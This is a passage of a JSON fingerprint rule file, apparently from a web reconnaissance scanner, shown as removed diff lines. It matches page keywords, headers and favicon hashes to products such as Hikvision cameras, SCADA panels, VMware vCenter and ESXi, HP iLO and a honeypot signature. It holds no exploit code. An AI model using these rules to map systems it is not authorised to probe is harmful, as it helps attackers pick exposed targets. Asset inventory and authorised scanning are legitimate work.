- "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "fex" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"mailto:fexmaster@ostc.de" - ], - "favicon_hash": [], - "priority": 3, - "name": "fex" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "\"/lanproxy-config/\"" - ], - "favicon_hash": [], - "priority": 1, - "name": "ffay-lanproxy" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-ivms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "

    安防综合管理平台

    " - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-ivms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "杭州海康威视系统技术有限公司 版权所有" - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-ivms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "serviceip" - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-ivms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/portal/common/js/commonvar.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-ivms-8700" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "hikvision v2.3控件网页demo" - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-v23-control" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "杭州海康威视数字技术股份有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-v23-control" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "if(m_bdvrcontrol.stoptalk())" - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-v23-control" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "face-webs" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-videocload" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "安全接入网关", - "src=\"./webui/js/jquerylib/jquery-1.7.2.min.js\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "hikvision-安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/bncgi-bin/test.pl", - "webpos登录" - ], - "favicon_hash": [], - "priority": 3, - "name": "hisense-webpos" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content/images/hisense.bmp" - ], - "favicon_hash": [], - "priority": 3, - "name": "hisense-webpos" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "action=\"login.pl\" method=\"post\" onsubmit=\"encryptpasswd()" - ], - "favicon_hash": [], - "priority": 3, - "name": "hispider-router" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "__gwt_historyframe" - ], - "favicon_hash": [], - "priority": 2, - "name": "hitachi-maintenance-utility" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/cgismryset/smryset.cgi/clk\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "hitachi-virtual-storage-platform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"hivemail" - ], - "favicon_hash": [], - "priority": 3, - "name": "hivemail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/images/hcm/copyright.gif\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "hjsoft-hcm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/images/hcm/themes/default/login/login_banner2.png?v=12334\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "hjsoft-hcm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/general/sys/hjaxmanage.js\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "hjsoft-hcm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "\"/him/api/rest/v1.0/node/role\"" - ], - "favicon_hash": [], - "priority": 1, - "name": "hjtcloud" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"http://www.hnjycy.com\" target=\"_blank\">沃科网<" - ], - "favicon_hash": [], - "priority": 3, - "name": "hnjycy" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "resource=\"title_sub\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "hollysys-mes" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "

    blog comments

    " - ], - "favicon_hash": [], - "priority": 3, - "name": "honeypot" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "color=\"black\" size=\"5\">intermec easylan" - ], - "favicon_hash": [], - "priority": 3, - "name": "honeywell-intermec-easylan" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "考核评测系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "hoperun-hr" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "_setHordeTitle" - ], - "favicon_hash": [], - "priority": 3, - "name": "horde" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "imp: copyright 2001-2009 the horde project" - ], - "favicon_hash": [], - "priority": 3, - "name": "horde" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "name=\"hstapp/config/environment\"" - ], - "favicon_hash": [], - "priority": 2, - "name": "hortonworks-smartsense-tool" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "医院物资供应商b2b平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "hospital-material-supplier-b2b-platform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=./static/css/app.edb681c84a53277f9336fc297ebca96e.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "host-security-and-management-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by hostbill" - ], - "favicon_hash": [], - "priority": 3, - "name": "hostbill" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/house5-style1/" - ], - "favicon_hash": [], - "priority": 3, - "name": "house5" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "3com - officeconnect vpn firewall" - ], - "favicon_hash": [], - "priority": 3, - "name": "hp-3com-officeconnect-vpn-firewall" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"http://www.hp.com/go/ilo" - ], - "favicon_hash": [], - "priority": 2, - "name": "hp-ilo" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "js/ilo.js" - ], - "favicon_hash": [], - "priority": 2, - "name": "hp-ilo" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "sitescope login" - ], - "favicon_hash": [], - "priority": 3, - "name": "hp-sitescope" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "compaqhttpserver" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "hp-system-management" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Set-Cookie": "compaq-hmmd" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "hp-system-management" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "name='mx_hidden' src=\"common/hiddenframe.html" - ], - "favicon_hash": [], - "priority": 3, - "name": "hp-virtual-connect-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id='psssdiv'", - "src='kss_inc/js/jquery.1.3.2.pack.js'" - ], - "favicon_hash": [], - "priority": 3, - "name": "hphu-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "httpfs servicefw下一代防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "iceflow-下一代防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Icinga Web 2 Login" - ], - "favicon_hash": [], - "priority": 1, - "name": "icinga" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "mask-icon\" href=\"/icingaweb2/img/website-icon.svg\" color=" - ], - "favicon_hash": [], - "priority": 1, - "name": "icinga" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "466b3dcce4a3c13f44dd0dc824b1e328" - ], - "priority": 1, - "name": "icinga" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/clipboard/zeroclipboard.min" - ], - "favicon_hash": [], - "priority": 3, - "name": "idcos-cloudboot" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "ideawebserver" - }, - "keyword": [], - "favicon_hash": [], - "priority": 2, - "name": "ideawebserver" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "copyrightpt12" - ], - "favicon_hash": [], - "priority": 3, - "name": "ieslab-scada" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "青岛积成电子有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "ieslab-scada" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"http://www.igenus.org/\" target=\"_blank\">", - "igenus webmail system" - ], - "favicon_hash": [], - "priority": 3, - "name": "igenus-webmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "form.action = \"login.php?Cmd=login\";", - "iGENUS" - ], - "favicon_hash": [], - "priority": 1, - "name": "igenus邮件系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"lucky-tech iguard" - ], - "favicon_hash": [], - "priority": 3, - "name": "iguard-security-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"ikonboard" - ], - "favicon_hash": [], - "priority": 3, - "name": "ikonboard" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by we're sorry but ikuai cloud platform doesn't " - ], - "favicon_hash": [], - "priority": 3, - "name": "ikuai8-cloud" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "c1af9e622eae1dcb95ef44f996bf6228" - ], - "priority": 3, - "name": "ikuai8-cloud" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "vehiclemonitoringcloudplatform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/opscenter/features/common/images/favicon.ico\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "veritas-netbackup" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var port = \"9528" - ], - "favicon_hash": [], - "priority": 3, - "name": "vertiv-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Set-Cookie": "vertx-web.session" - }, - "keyword": [], - "favicon_hash": [], - "priority": 2, - "name": "vertx" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/vhplot/webresource.axd" - ], - "favicon_hash": [], - "priority": 3, - "name": "vhsoft-vhplot" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "url=/vicidial/welcome.php" - ], - "favicon_hash": [], - "priority": 3, - "name": "vicidial" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "value=\"style2012/style1/scripts/expressinstall.swf\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "victorysoft" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"webstyles/webstyle1/style1/css.css\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "victorysoft" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"row fl-controls-left" - ], - "favicon_hash": [], - "priority": 3, - "name": "victorysoft-performance-management-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "casui/themes/siam/login.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "victorysoft-performance-management-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "power by linksoon - videosoon" - ], - "favicon_hash": [], - "priority": 3, - "name": "videosoon" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"skin/anysoondefault/anystyles.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "videosoon" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - " 平台采用最新图像化展现技术" - ], - "favicon_hash": [], - "priority": 3, - "name": "videosurveillancemanagementplatform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "fgetquery" - ], - "favicon_hash": [], - "priority": 3, - "name": "viewgood-streammedia" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "viewgood" - ], - "favicon_hash": [], - "priority": 3, - "name": "viewgood-streammedia" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "location.href", - "var webvirtualdiretory = 'viewgood';" - ], - "favicon_hash": [], - "priority": 3, - "name": "viewgood-streammedia" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src='/viewgood/pc/" - ], - "favicon_hash": [], - "priority": 3, - "name": "viewgood-streammedia" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "violation-outreach-monitoring-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "window.location='login.action';" - ], - "favicon_hash": [], - "priority": 3, - "name": "violation-outreach-monitoring-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "欢迎登录违规外联平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "violation-outreach-monitoring-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "
    forgot your virtualmin password?
    " - ], - "favicon_hash": [], - "priority": 2, - "name": "virtualmin" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 2, - "name": "visualware-myconnection-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "function toggle(targetid)" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmedia-multimedia-publishing-platform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"video_00\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmedia-multimedia-publishing-platform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "vRealize Log Insight -" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-aria-operations-for-logs" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"vmware esxi" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-esx" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "document.write(\"<title>\" + id_eesx_welcome + \"\");" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-esx" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-esx" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"vmware esx " - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-esx" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "document.write(id_esx_viclientdesc);" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-esx" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ng-app=\"esxuiapp\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-esxi" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-esxi" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href='https://www.vmware.com/go/viewclients'" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-horizon" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "alt=\"vmware horizon\">" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-horizon" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"vmware server is virtual" - ], - "favicon_hash": [], - "priority": 2, - "name": "vmware-server-2" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<header alt=\"VMware Site Recovery Manager" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-site-recovery-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/converter/vmware-converter-client.exe" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-vcenter" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"vmware vcenter" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-vcenter" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/vmw_nsx_logo-black-triangle-500w.png" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-vcenter" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"vmware virtualcenter" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-virtualcenter" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"vmware vsphere" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-virtualcenter" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "url=vcops-vsphere/" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-virtualcenter" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "the vshield manager requires" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-virtualcenter" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "正在重定向到 vrealize operations manager web" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-vrealize" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Identity Manager", - "VMware" - ], - "favicon_hash": [], - "priority": 1, - "name": "vmware-vrealize-operations-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<meta name=\"description\" content=\"VMware vSphere" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmware-vsphere" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<title>VMware View Portal" - ], - "favicon_hash": [], - "priority": 3, - "name": "vmwareview" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "微信数字投票", - "content=\"微平台投票管理系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "votemanager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 2, - "name": "vp-asp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"vs350.js" - ], - "favicon_hash": [], - "priority": 2, - "name": "vp-asp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "shopdisplayproducts.asp?id=" - ], - "favicon_hash": [], - "priority": 2, - "name": "vp-asp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/lib/bootstrap/ico/favicon.ico\"", - "class=\"form-actions j_add_ip_actions\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "vpn358system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "vrv" - ], - "favicon_hash": [], - "priority": 3, - "name": "vrv-desktop-application-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var vver = $('#hidverify').val();" - ], - "favicon_hash": [], - "priority": 3, - "name": "vrv-desktop-application-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "

    连豆豆pc客户端

    " - ], - "favicon_hash": [], - "priority": 3, - "name": "vrv-im" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"http://im.vrv.cn/server-securitycenter/password/goretrieval.vrv" - ], - "favicon_hash": [], - "priority": 3, - "name": "vrv-im" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"loginusername\" value=\"\" placeholder=\"连豆豆账号/邮箱/手机号" - ], - "favicon_hash": [], - "priority": 3, - "name": "vrv-im" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"wj-text wj-title\">下载信源豆豆

    " - ], - "favicon_hash": [], - "priority": 3, - "name": "vrv-im" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id=\"modal_delay\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "vrv-nac" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "localstorage.setitem('doctitle','北信源网络接入控制系统')", - "欢迎登录北信源网络接入控制系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "vrv-nac" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "errmag" - ], - "favicon_hash": [], - "priority": 3, - "name": "vts-cms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "websidestory" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "WebSockets request was expected" - ], - "favicon_hash": [], - "priority": 3, - "name": "websocket" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "not a WebSocket handshake" - ], - "favicon_hash": [], - "priority": 3, - "name": "websocket" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "wss://" - ], - "favicon_hash": [], - "priority": 3, - "name": "websocket" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ws://" - ], - "favicon_hash": [], - "priority": 3, - "name": "websocket" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "WebSVN", - "subversion" - ], - "favicon_hash": [], - "priority": 3, - "name": "websvn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "https://cert.webtrust.org/viewseal" - ], - "favicon_hash": [], - "priority": 2, - "name": "webtrust-cert" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/webuploader.min.js\">" - ], - "favicon_hash": [], - "priority": 3, - "name": "webuploader" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/webuploader.js\">" - ], - "favicon_hash": [], - "priority": 3, - "name": "webuploader" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/webuploader.css\" rel=\"stylesheet" - ], - "favicon_hash": [], - "priority": 3, - "name": "webuploader" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": 